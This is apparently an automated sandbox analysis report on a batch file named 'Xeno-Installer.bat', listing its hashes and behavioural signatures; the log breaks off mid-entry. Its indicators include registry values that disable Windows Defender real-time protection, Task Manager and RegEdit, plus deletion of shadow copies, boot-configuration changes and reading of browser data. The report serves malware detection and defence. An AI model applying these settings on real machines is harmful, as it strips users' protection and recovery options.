Analysis
- user interaction
yes - max time kernel
149s - max time network
141s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
30/09/2026, 15:01
Static task
static1
Behavioral task
behavioral1
Sample
Xeno-Installer.bat
Resource
win10v2004-20260911-en
windows10-2004-x64
29 signatures
150 seconds
Behavioral task
behavioral2
Sample
Xeno-Installer.bat
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
24 signatures
150 seconds
General
- Target Xeno-Installer.bat
- Size 3KB
- Sample260930-sd1whsah49
- SHA256 05b41fa88e20beb9d5244d39140ab885a459904f9c725b92f468713cc69efb12
- MD5 23f3b1bed24abf5f62880aa2bb6565e7
- SHA1 2ee50a23b242553df370d877a731354a68e01562
- SHA512 fa9850eed190f94983b016062c6a05664149fbd2043d8f7c60d5f5d34591f91f5f79a1acd19094a93beb4e98bef68d9269f55a07c39e23eea7e91f3061de520e
- TLSH T1A071E932564C2327D027F928D88FC243FF7EB18FB4596A3020CD309955430CA85BABEA
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" reg.exe - Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 5920 bcdedit.exe 5252 bcdedit.exe -
pid Process 4740 wbadmin.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" reg.exe - Disables Task Manager via registry modification
- Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 5064 netsh.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Drops desktop.ini file(s) 2 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini firefox.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini firefox.exe - Drops file in System32 directory 44 IoCs
description ioc Process File opened for modification C:\Windows\System32\config\COMPONENTS{53b39e63-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000002.regtrans-ms attrib.exe File opened for modification C:\Windows\System32\config\DRIVERS{53b39e70-18c4-11ea-a811-000d3aa4692b}.TM.blf attrib.exe File opened for modification C:\Windows\System32\config\BBI{53b39ea0-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000002.regtrans-ms attrib.exe File opened for modification C:\Windows\System32\config\BCD-Template attrib.exe File opened for modification C:\Windows\System32\config\COMPONENTS.LOG2 attrib.exe File opened for modification C:\Windows\System32\config\SAM.LOG2 attrib.exe File opened for modification C:\Windows\System32\config\SAM{53b39e57-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000002.regtrans-ms attrib.exe File opened for modification C:\Windows\System32\config\SYSTEM attrib.exe File opened for modification C:\Windows\System32\config\BBI.LOG1 attrib.exe File opened for modification C:\Windows\System32\config\COMPONENTS.LOG1 attrib.exe File opened for modification C:\Windows\System32\config\COMPONENTS{53b39e63-18c4-11ea-a811-000d3aa4692b}.TM.blf attrib.exe File opened for modification C:\Windows\System32\config\default.LOG2 attrib.exe File opened for modification C:\Windows\System32\config\DRIVERS attrib.exe File opened for modification C:\Windows\System32\config\DRIVERS.LOG1 attrib.exe File opened for modification C:\Windows\System32\config\DRIVERS{53b39e70-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000001.regtrans-ms attrib.exe File opened for modification C:\Windows\System32\config\SECURITY.LOG1 attrib.exe File opened for modification C:\Windows\System32\config\BBI{53b39ea0-18c4-11ea-a811-000d3aa4692b}.TM.blf attrib.exe File opened for modification C:\Windows\System32\config\BBI{53b39ea0-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000001.regtrans-ms attrib.exe File opened for modification C:\Windows\System32\config\DRIVERS{53b39e70-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000002.regtrans-ms attrib.exe File opened for modification C:\Windows\System32\config\ELAM.LOG1 attrib.exe File opened for modification C:\Windows\System32\config\SAM attrib.exe File opened for modification C:\Windows\System32\config\SAM{53b39e57-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000001.regtrans-ms attrib.exe File opened for modification C:\Windows\System32\config\SECURITY{53b39e4b-18c4-11ea-a811-000d3aa4692b}.TM.blf attrib.exe File opened for modification C:\Windows\System32\config\SECURITY{53b39e4b-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000001.regtrans-ms attrib.exe File opened for modification C:\Windows\System32\config\BBI.LOG2 attrib.exe File opened for modification C:\Windows\System32\config\SOFTWARE attrib.exe File opened for modification C:\Windows\System32\config\SOFTWARE.LOG1 attrib.exe File opened for modification C:\Windows\System32\config\SOFTWARE.LOG2 attrib.exe File opened for modification C:\Windows\System32\config\SYSTEM.LOG2 attrib.exe File opened for modification C:\Windows\System32\config\BBI attrib.exe File opened for modification C:\Windows\System32\config\BCD-Template.LOG attrib.exe File opened for modification C:\Windows\System32\config\SECURITY attrib.exe File opened for modification C:\Windows\System32\config\SYSTEM.LOG1 attrib.exe File opened for modification C:\Windows\System32\config\COMPONENTS{53b39e63-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000001.regtrans-ms attrib.exe File opened for modification C:\Windows\System32\config\default.LOG1 attrib.exe File opened for modification C:\Windows\System32\config\DRIVERS.LOG2 attrib.exe File opened for modification C:\Windows\System32\config\ELAM.LOG2 attrib.exe File opened for modification C:\Windows\System32\config\SAM.LOG1 attrib.exe File opened for modification C:\Windows\System32\config\SAM{53b39e57-18c4-11ea-a811-000d3aa4692b}.TM.blf attrib.exe File opened for modification C:\Windows\System32\config\SECURITY{53b39e4b-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000002.regtrans-ms attrib.exe File opened for modification C:\Windows\System32\config\COMPONENTS attrib.exe File opened for modification C:\Windows\System32\config\DEFAULT attrib.exe File opened for modification C:\Windows\System32\config\ELAM attrib.exe File opened for modification C:\Windows\System32\config\SECURITY.LOG2 attrib.exe - Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4580 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe - Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName vds.exe - Checks processor information in registry 2 TTPs 32 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe - Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS SearchApp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU SearchApp.exe - Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5912 vssadmin.exe - Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Hortense - French (France)" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "{A79020BC-1F7E-4D20-AC2A-51D73012DDD5}" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Cosimo - Italian (Italy)" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "409;9" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\en-US-N\\tn1033.bin" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\TTS\\es-ES\\M3082Helena" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\fr-FR\\VoiceActivation_HW_fr-FR.dat" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\TTS\\de-DE\\M1031Stefan" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "{15E16AEC-F2F0-4E52-B0DF-029D11E58E4B}" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\en-US-N\\r1033sr.lxa" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Speech SW Voice Activation - Spanish (Spain)" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "L1036" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "L1041" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "{0B3398EA-00F1-418b-AA31-6F2F9BE5809B}" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Near" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\es-ES-N\\L3082" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\fr-FR-N\\L1036" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "SR it-IT Locale Handler" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\ja-JP-N\\c1041.fe" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\ja-JP-N\\AI041041" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Speech SW Voice Activation - Japanese (Japan)" SearchApp.exe Set value (int) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "1" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "SR es-ES Lts Lexicon" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "SR it-IT Lookup Lexicon" SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Settings SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Settings\Cache\History SearchApp.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.exe\ = "NoExecutable" cmd.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Japanese Phone Converter" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "309C 309C 30A1 30A1 30A2 30A2 30A3 30A3 30A4 30A4 30A5 30A5 30A6 30A6 30A7 30A7 30A8 30A8 30A9 30A9 30AA 30AA 30AB 30AB 30AC 30AC 30AD 30AD 30AE 30AE 30AF 30AF 30B0 30B0 30B1 30B1 30B2 30B2 30B3 30B3 30B4 30B4 30B5 30B5 30B6 30B6 30B7 30B7 30B8 30B8 30B9 30B9 30BA 30BA 30BB 30BB 30BC 30BC 30BD 30BD 30BE 30BE 30BF 30BF 30C0 30C0 30C1 30C1 30C2 30C2 30C3 30C3 30C4 30C4 30C5 30C5 30C6 30C6 30C7 30C7 30C8 30C8 30C9 30C9 30CA 30CA 30CB 30CB 30CC 30CC 30CD 30CD 30CE 30CE 30CF 30CF 30D0 30D0 30D1 30D1 30D2 30D2 30D3 30D3 30D4 30D4 30D5 30D5 30D6 30D6 30D7 30D7 30D8 30D8 30D9 30D9 30DA 30DA 30DB 30DB 30DC 30DC 30DD 30DD 30DE 30DE 30DF 30DF 30E0 30E0 30E1 30E1 30E2 30E2 30E3 30E3 30E4 30E4 30E5 30E5 30E6 30E6 30E7 30E7 30E8 30E8 30E9 30E9 30EA 30EA 30EB 30EB 30EC 30EC 30ED 30ED 30EE 30EE 30EF 30EF 30F0 30F0 30F1 30F1 30F2 30F2 30F3 30F3 30F4 30F4 30F5 30F5 30F6 30F6 30F7 30F7 30F8 30F8 30F9 30F9 30FA 30FA 30FB 30FB 30FC 30FC 30FD 30FD 30FE 30FE 0021 0021 0027 0027 002B 002B 002E 002E 003F 003F 005F 005F 007C 007C" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Katja - German (Germany)" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Sie haben %1 als Standardstimme ausgewählt." SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\TTS\\fr-FR\\M1036Hortense" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Haruka - Japanese (Japan)" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "SpeechUXPlugin" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\en-US-N\\lsr1033.lxa" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\TTS\\en-US\\M1033David" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Universal Phone Converter" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local 